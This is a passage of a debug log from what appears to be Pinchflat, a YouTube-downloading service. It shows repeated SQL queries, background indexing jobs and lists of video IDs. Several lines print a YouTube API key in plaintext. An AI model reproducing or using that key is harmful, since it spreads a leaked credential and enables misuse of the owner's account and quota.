s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:39.969 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 16:57:39.969 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:39.969 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 16:57:39.969 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:39.969 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:39.970 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:39.970 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:40.095 [debug] QUERY OK source="media_items" db=0.7ms idle=124.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "zPAY2VxfFBk", "Qr4anBkL2_A", "LXmNeVLM4e4", "vZdbbN3FCzE", "DqAKQwagCDg", "PTd98UnJnnU", "TVsounscj4U", "HLUamwXQ218", "Jh9pFp1oM7E", "v-sCZN3FbR0", "NC1nzXq6Rh4", "trsHTKqmZOk", "sfyL4BswUeE", "Mb6H7trzMfI", "Qqyp00JPJZI", "KW21q_7U6Ao", "n4Xe6yQ1jIs", "RvP-uVNwnXo", "jrzK4xL_W4Q", "2MdQWo9fHZs", "j31dmodZ-5c", "PTf_Z8A2Usc", "v5lc7UAAats", "rU9aqBv0YdY", "rZMMySvsKAA", "xIFkrVU5Krk", "eou_g_cYCew", "Tl8RS0sR-qA", "F1zYatpqNSc", "GAdT6gYE54U", "rng_yUSwrgU", "q0aFOxT6TNw", "tDARtYjUiHs", "7gtc1DW2Tgo", "s0EbxhQYeCA", "GB0b6KFZVq0", "idEAABFzpfg", "_yOTYsFlRQY", "XUdic3Mwd2k", "oeHtfMFdzIY", "i63u-iAnhuk", "eCR17sBh-Qw", "269OsrzG3Ew", "-7X5KukvABc", "We2ZD0-IXPM", "AphNalSmvlk", "FXrcFeuYtq8", "rCllEeHXjUw", "bMou1qUMHC4", ...] 16:57:40.098 [debug] QUERY OK source="media_items" db=2.3ms idle=125.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 16:57:40.098 [debug] QUERY OK source="tasks" db=0.1ms idle=128.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800105, 10, ~U[2026-02-10 22:57:40Z], ~U[2026-02-10 22:57:40Z]] 16:57:40.099 [info] {"args":{"id":10},"id":3800067,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":130076,"event":"job:stop","queue_time":570392,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:40.293 [debug] QUERY OK source="media_items" db=0.7ms idle=194.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 16:57:40.295 [debug] QUERY OK source="media_items" db=0.9ms idle=195.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 16:57:40.295 [debug] QUERY OK source="tasks" db=0.1ms idle=190.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800106, 34, ~U[2026-02-10 22:57:40Z], ~U[2026-02-10 22:57:40Z]] 16:57:40.296 [info] {"args":{"id":34},"id":3800066,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":327210,"event":"job:stop","queue_time":595150,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:40.970 [info] {"args":{"id":8},"id":3800068,"meta":{},"system_time":1770764260970656135,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:40.970 [info] {"args":{"id":9},"id":3800069,"meta":{},"system_time":1770764260970712775,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:40.971 [debug] QUERY OK source="sources" db=0.2ms idle=674.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 16:57:40.971 [debug] QUERY OK source="sources" db=0.3ms idle=674.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 16:57:40.971 [debug] QUERY OK source="settings" db=0.1ms idle=668.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:40.971 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:40.971 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:40.971 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:40.971 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:40.971 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 16:57:40.971 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:40.971 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 16:57:40.971 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:40.971 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:40.971 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:40.972 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:41.085 [debug] QUERY OK source="media_items" db=0.6ms idle=113.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", "i41gbn5zmqc", "KRhofr57Na8", "1IotjpIZvAg", "v1FNHkt0ISk", "RkX6iRhYOEM", "eW8ZNkuLhZw", "9IiYOTzJ2uw", "paHr1oLaqJ4", "aL6P0ChwcHg", "iQJfOkDUvJM", "1QAmBamacU4", "qr1AvisQcV8", "tt_l_-5_8WU", "RYeNu159Sgc", "pzRH6JbphrI", "EfSw0_OxCGY", "PtIChOU86Xs", "0rVF_cl9trE", "g6tlNyr5sl8", "SUnNPS3rBXk", "f7hHtuS7ygY", "qyIzUOVG840", "U1MigIJXJx8", "IQJL3htsDyQ", "sLy-x38ILZE", "p7f8oR5ELwk", ...] 16:57:41.086 [debug] QUERY OK source="media_items" db=0.5ms idle=114.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 16:57:41.087 [debug] QUERY OK source="tasks" db=0.1ms idle=115.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800107, 9, ~U[2026-02-10 22:57:41Z], ~U[2026-02-10 22:57:41Z]] 16:57:41.087 [info] {"args":{"id":9},"id":3800069,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":116824,"event":"job:stop","queue_time":556930,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:41.159 [debug] QUERY OK source="media_items" db=0.6ms idle=71.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 16:57:41.160 [debug] QUERY OK source="media_items" db=0.3ms idle=72.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 16:57:41.161 [debug] QUERY OK source="tasks" db=0.1ms idle=67.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800108, 8, ~U[2026-02-10 22:57:41Z], ~U[2026-02-10 22:57:41Z]] 16:57:41.161 [info] {"args":{"id":8},"id":3800068,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":191010,"event":"job:stop","queue_time":572532,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:45.976 [info] {"args":{"id":40},"id":3800070,"meta":{},"system_time":1770764265976685415,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:45.977 [debug] QUERY OK source="sources" db=0.1ms idle=1098.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 16:57:45.977 [debug] QUERY OK source="settings" db=0.0ms idle=1098.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:45.977 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:45.977 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:45.977 [debug] Fetching recent media IDs from YouTube API for playlist: UU7V6hW6xqPAiUfataAZZtWA 16:57:45.977 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:45.977 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:46.077 [debug] QUERY OK source="media_items" db=0.6ms idle=99.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [40, "g5M9AL95htk", "_d7EmSiMgtQ", "GzGa73A7Ffk", "FLgPJa-pxeI", "BboXiXnvYX4", "jOY6nOpOruM", "nY5Wo5RJeqk", "4-QP9Zs4U_8", "w772tzPzZ9c", 